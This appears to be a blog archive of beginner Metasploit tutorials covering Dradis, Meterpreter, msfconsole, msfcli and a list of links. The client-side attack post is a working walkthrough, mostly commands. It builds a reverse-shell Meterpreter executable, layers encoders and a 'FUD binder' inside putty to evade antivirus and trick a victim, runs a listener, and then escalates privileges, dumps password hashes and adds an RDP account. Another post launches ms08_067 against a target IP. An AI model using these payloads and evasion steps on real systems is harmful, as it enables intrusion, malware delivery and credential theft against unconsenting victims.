Metaspolit Framework Tutorial part-5(Dradis Frame Work)

What is Dradis ???

 Dradis is an open source framework to information sharing effectively , Dradis is a web application that
provides a repository of information to keep track of the work you have done and even you can also keep
track of remaining work left.

While you are working as a team or working individually , you may want to keep the pentesting reports for future references or you can even want to share your reports among your team  . This can be achieved using Dradis Framework .


Dradis is more than just a information storing and sharing application . It can also communicates over SSL , we can import Nmap and Nessus results ,file attachments , report generation and we can also connect to other systems.

Features :- 

1) Easy report generation in Html or word.
2)supports for attachments.
3)platform independent.
4)supports server plugins and various tools .

Steps to start Dradis web application :-


1) Open your terminal window
2) Type cd /pentest/misc/dradis/ and hit enter
3) Now type sudo ./start.sh
4) You will asked for the root password , type your root password and hit enter
5) Now go to browser and open https://127.0.0.1:3004
6) Now you can see Dradis web application in your browser

On left hand side you can create your nodes in the form of tree structure and on the right hand side you can add the relevant information to the nodes.

Read more »

Posted in: Metasploit

Metasploit Framework Tutorial - part 4(Meterpreter)

In my previous tutorial , i have used a payload called meterpreter which most trusted and widely used payload . In this tutorial i will explain about the meterpreter payload.

MeterPreter is an advanced payload that uses in-memory DLL injection stagers and is sent over a network . It communicates over the sockets and provides the client-side connections .

Meterpreter was introduced from MSF 2.x .

How Meterpreter Works ????  

It is just like a establishing a bind,reverse connections , once targets executes the intial stager . The meterpreter initializes ,estabilishes a TLS/1.0 link over the socket and sends a GET request . Metasploit receives this GET and establishes the connection between victim and attacker computer.

Meterpreter advantages 

1)Meterpreter isr very stealthy ,powerful tool for pentesting or exploiting a system 

2) It has so many features like uploading DLL over a network using sockets 

Read more »

Posted in: Metasploit

Metaspolit Framework tutorial -part 4(Client Side attack)

In this tutorial i will show basic metasploit client side attack .. In our case i will send a payload bound to an executable file, to the victim . if the victim opens the file the payload will be executed and it will give us backconnection to our meterpeter .


Type cd /pentest/exploits/framework in your terminal.

This is to navigate to the metasploit's folder . Ok to generate a payload , type the command .

msfpayload windows/meterpreter/reverse_tcp LHOST=your-wan-ip LPORT=4444 x > /root/payload.exe


To get your wan ip address just go to http://www.cmyip.com/

The windows/meterpreter/reverse_tcp is the payload we gonna use ,which will give us a tcp meterpreter session on execution..

Now you can see an executable file in your root folder named "payload.exe" ... now we have to send this executable to the victim ...
in our case i'm using a FUD binder to bind the payload with another executable file(i'm using putty a ssh client) to spoof the victim and to evade anti virus...

You can use any FUD binder or cypter but make sure you dont corrupt the file...
or you can even use metasploit's inbuilt crypter known as "msfencode" ...if you wish to use that, then your command will be

msfpayload windows/meterpreter/reverse_tcp LHOST=your-wan-ip LPORT=4444 R | ruby msfencode -t exe -e x86/shikata_ga_nai > /root/payload.exe

but detected by AV's... well you can even use multiple encryption like this...

msfpayload windows/meterpreter/reverse_tcp LHOST=your-wan-ip LPORT=4444 R | msfencode -e x86/shikata_ga_nai -c 3 -t raw | msfencode -e x86/fnstenv_mov -c 5 -t raw | msfencode -e x86/call4_dword_xor -c 4 -t raw | msfencode -e x86/countdown -c 4 -t raw | msfencode -e x86/shikata_ga_nai -c 16 -t exe > /root/msfpayload.exe

still detected by few AV's , or you can try using different combinations ...to see the list of available encryptions type "msfencode -h".. if it doesn't work try Hex editing after encryption....

ok , before sending the file to the victime we need to setup a listener to receive the meterpreter session when victim executes the file ... for that open up the msfconsole ..since we were in metaploit folder just type

msfconsole

and then type

use exploit/multi/handler

for payload..type

set PAYLOAD windows/meterpreter/reverse_tcp

this time for LHOST use your LAN ip , type "ifconfig" in another terminal for the lan ip...
so command will be like ..

set LHOST 192.168.1.xxx

and LPORT

set LPORT 4444

ok done.. now type

exploit

thats it ,now our listener will listen for any incoming connections on port 4444 .


Dont forget to port forward the router on port "4444" to your "lan ip"
after port forwarding ,check your port using this website http://canyouseeme.org/

okay , now our victim has executed the putty.exe (program bound to my payload) with in seconds our listener will give us a meterpreter session... that's it we own the system now....


now a simple hack using meterpreter..we will create a user account and enable remote desktop in victim's system ....
type "help" to see all the list of commands and their descriptions ..
type these commands to get thed system....

use priv

getsystem

to check your privilege

getuid

to dump hashes type "hashdump"...just play around with all the commands ...

ok now we will enable the remote desktop on the victim's computer,for that

run getgui -u username -p password

now open up a new terminal and type the command..

rdesktop -u username -p password victim's-ip



if you wish to delete the user accounts after using the RDP ,


after you have done with it, type "exit" to exit the session...

ok for guys trying to test this within virtual box ...make sure you have a VPN installed (like hotspot shield) in the windows box...and remember for LHOST use your WAN ip for payload and lan ip for listener ... very important is that portforward your router to backtrack's LAN ip on port 4444...

..that's it,, a basic client side exploitation..
thanks for reading my tutorial !!!

Read more »

Posted in: Metasploit

Metasploit Framework Tutorial Part-3 (Fundametals(msfconsole))

MSFCONSOLE:-

The msfconsole is the most popular interface of the MSF. msfconsole will provide all of the options of Metaspoilt Framework. Msfconsole may be very difficult in the beginning , but once you learn the syntax of the commands you will be able to master it.

The msfconsole interface is introduced in Windows with the 3.3 release, however users of version 3.2 will need to either manually install the Framework under Cygwin, along with patching the Ruby installation.

For accessing the msfconsole open the terminal and type in msfconsole then you will be able to access the msfconsole.

After Launching the msfconsole you have list of commands which are used for access the msfconsole efficiently and i will be talking about few important commands below.
1)help - For getting the list of all commands which are used in the msfconsole.

2)back- For return back to the msfconsole from middle of the exploit launching

3)search - since msf is a large repository of exploits and payloads it will be difficult for remembering all those exploit names . So by using search command you can search for your desired exploit.
eg:- msf>search  smb

4)show - This command will be used to list all the exploits , payloads , encoders and options which are available in MSF .
eg:-msf>show options
      msf>show exploits

5)check  - Before launching an exploit on remote machine , we can check whether that particular remote machine is accepting the connections are not and we can achieve this using check command.

6)connect - This is just simple clone of netcat or telnet in windows i.e, you can connect to the other remote machine from msfconsole by connect command.
eg:-msf>connect 192.168.1.6 21

7)run - This command is used for launching an exploit on remote machine and it should only be used when you are using auxiliary module

8)Exploit - This is the command through which you can launch a exploit on remote machine .

9)IRB- This command is used to gain access to Ruby interpreter shell through which you can create the metaspolit scripts . Through this you can also understand the internal mechanism of the MSF .

There are other commands like set,unset,info,root,load,unload,use .

Read more »

Posted in: Metasploit

Metaspolit Framework Tutorial Part-2(Fundamentals)

For all the Metaspolit tutorials i will be  using backtrack 5 and you can also download it from backtrack offical site .

MSF fundamentals includes following terminologies
1)MsfCli
2)Msfweb
3)MsfConsole

1) MSFCLI :-
                          msfcli stands for metaspolit framework command line interface which supports launching of exploits and auxiliary Modules.

For using this utility you just need to open the terminal window in backtrack which is located at Applications-> Accessories->Terminal and type the msfcli command which will list you all the payloads and exploits which are there in the database . Initially it may look creepy but if you understand the concept behind it then it will be lot easier for you to launch the exploits through msfcli.

If you want to get the help about the usage of the msfcli command then just type in msfcli -h in terminal box.

Here i will just show how to launch a exploit using msfcli and i will not go deeply into exploits and payloads now.

lets say we have a windows xp sp2 machine and you want to launch an exploit on that machine ,So you can do it by using following command which includes ms08_067 exploit and blind_tcp payload

msfcli windows/smb/ms08_067_netapi RHOST=192.168.1.201 PAYLOAD=windows/shell/bind_tcp E

This is how you use msfcli to launch an exploit

Advantages :-
1)Supports launching of exploits and auxiliary modules.
2)Excellent utility if you know what exploit you want to run on the remote machine.

Disadvantages :-
1)It is not flexible like msfconsole and in msfcli you can only use one shell at a time
2)It doesn't support any automation features of msfconsole 

2)MSFWEB:-

The msfweb interface provided users with a GUI to the framework but has now been deprecated and removed from the Metasploit  Framework because it was not stable.

MSFCONSOLE will be explained in the next tutorial .  

Read more »

Posted in: Metasploit

Metaspoilt FrameworkTutorial Part-1 (Introduction)

Well Hello Readers ,

From today i will publish tutorials on  MSF(Metaspoilt Framework) . This will be  series of tutorials and i promise you that i will keep it as simple as i can .

I consider the MSF to be one of the single most useful auditing tools that is  freely available to security professionals today. The Metasploit Framework provides a truly impressive work environment. The MSF is far more than just a collection of exploits, it's an infrastructure that you can build upon and utilize for your custom needs.


Note:- Metaspolit is  constantly evolving tool , So it is necessary that you should follow the latest news about the metaspolit from the offical metaspolit site .

 Metaspolit Architecture

The above diagram shows how Metaspoilt Architecture where you can see some valuable terms like LIBRARIES , INTERFACES,PLUGINS, MODULES  .


LIBRARIES and FILESYSTEM :-


Msf  file system is developed in relational manner and is organized by directory.

FileSystem:-
 msf file system includes following directories

1)lib - This is the heart of MSF which includes big code base.
2)data - This includes various data files which are used by the MSF.
3)tools - This folder includes various command line utilites.
4)Modules -This folder includes various modules like exploits,payloads etc
5) plugins - This folder which includes the plugins which load at runtime.
6)scripts - This folder which includes scripts like meterpeter and other scripts which will be described in coming other tutorials.

Libraries:-

Rex :-
1)This is includes various libraries which includes Handles Sockets ,Protocols ,Text Transformation , and others.

Msf core:-
1)Provides the basic API
2)Defines the Metaspolit Frame Work
Msf Base:-
1)Provides the friendly Api

MODULES :-

Metaspoilt is composed of the various Modules which includes Exploits , Payloads ,Encoders and Nops  and all the modules in Metaspoilt framework are Ruby Classes .

Exploits :-  Exploit is a malicious Program which uses Payloads and the exploits which doesn't use the payloads are called Auxiliary Payloads.

Payloads :- Payloads are the programs which run remotely and they are created at runtime from various components.

Encoders and Nops :- Encoders will help the payloads to reach there destination and Nops will Keep the payloads size consistent

PLUGINS:-


Plugins are the important concepts of the MSF where they manipulate the framework as a whole and They automate specific tasks which would be tedious to do manually.

Read more »

Posted in: Metasploit

Learn to use Metasploit

Metasploit is a great tool, but it’s not the easiest to use and some people get completely lost when trying to get the most out of it.

To help you guys out here is a bunch of links, videos, tutorials and documents to get you up to speed.

You can start with this, a good flash tutorial that shows you step by step how to use it:

Metasploit at Iron Geek

There’s a presentation by HD Moore himself at Cansecwest 2006:

csw06-moore.pdf

And a couple of videos spawned from that here:

Computer defense – TASK Presentation

Exploring Metasploit 3 and the New and Improved Web Interface – Part 2

The Metasploit site itself also has some fantastic documentation, a good place to start is here:

http://framework.metasploit.com/msf/support

The Metasploit book is a good start too:

Using Metasploit

The Security Focus article is a good reference too if a little outdated:

Metasploit Framework, Part 1
Metasploit Framework, Part 2

So get hacking, Metasploit is great!

The most up to date video for Metasploit 3 can be found here:

Exploring Metasploit 3 and the New and Improved Web Interface – Part 1

Read more »

Posted in: Metasploit